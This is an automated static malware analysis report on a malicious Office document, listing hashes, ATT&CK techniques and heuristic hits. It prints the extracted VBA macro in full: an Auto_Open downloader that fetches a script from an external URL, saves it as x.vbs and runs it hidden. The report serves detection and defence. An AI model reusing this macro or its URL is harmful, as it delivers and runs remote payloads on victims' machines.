Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2be88cc03bf14b14…

MALICIOUS

Office (OOXML)

7.2 KB First seen: 2021-09-27
MD5: 63153251a4264b8a8486f72f69e38912 SHA-1: eee117aa16eb3178841e0d619c7915574b285d27 SHA-256: 2be88cc03bf14b140267099ba5270fce43a8ec4a1578c2b96f11be8139c42255
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an Auto_Open subroutine that utilizes WScript.Shell and MSXML2.XmlHttp.CreateObject to download content from the URL "https://wtools.io/code/dl/b6Jc". The downloaded content is saved as "x.vbs" and subsequently executed using WScript.Shell.Run. This indicates a downloader functionality, likely to fetch and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://wtools.io/code/dl/b6Jc In document text (OOXML body / shared strings)
    • https://wtools.io/code/dl/b6Jc$In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 801 bytes
SHA-256: a875b2f0d96e795655fdbe190e720a769101e2a6fb3fbf0c354fbe824136078a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"


Private Function GetHTMLSource(ByVal sURL As String) As String
    Dim xmlHttp As Object
    Set xmlHttp = CreateObject("MSXML2.XmlHttp")
    xmlHttp.Open "GET", sURL, False
    xmlHttp.send ""
    GetHTMLSource = xmlHttp.responseText
    Set xmlHttp = Nothing
  End Function

Public Sub Auto_Open()

Dim fsT As Object
Set fsT = CreateObject("ADODB.Stream")
fsT.Type = 2 'Specify stream type - we want To save text/string data.
fsT.Charset = "utf-16" 'Specify charset For the source text data.
fsT.Open 'Open the stream And write binary data To the object
fsT.WriteText (GetHTMLSource("https://wtools.io/code/dl/b6Jc"))
fsT.SaveToFile "x.vbs", 2 'Save binary data To disk

  
 CreateObject("WScript.Shell").Run "x.vbs", 0, False
 
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13312 bytes
SHA-256: c3b123b28e149c6c4b262e44aaebc9702655b264bd67236738b268b4984ccc0d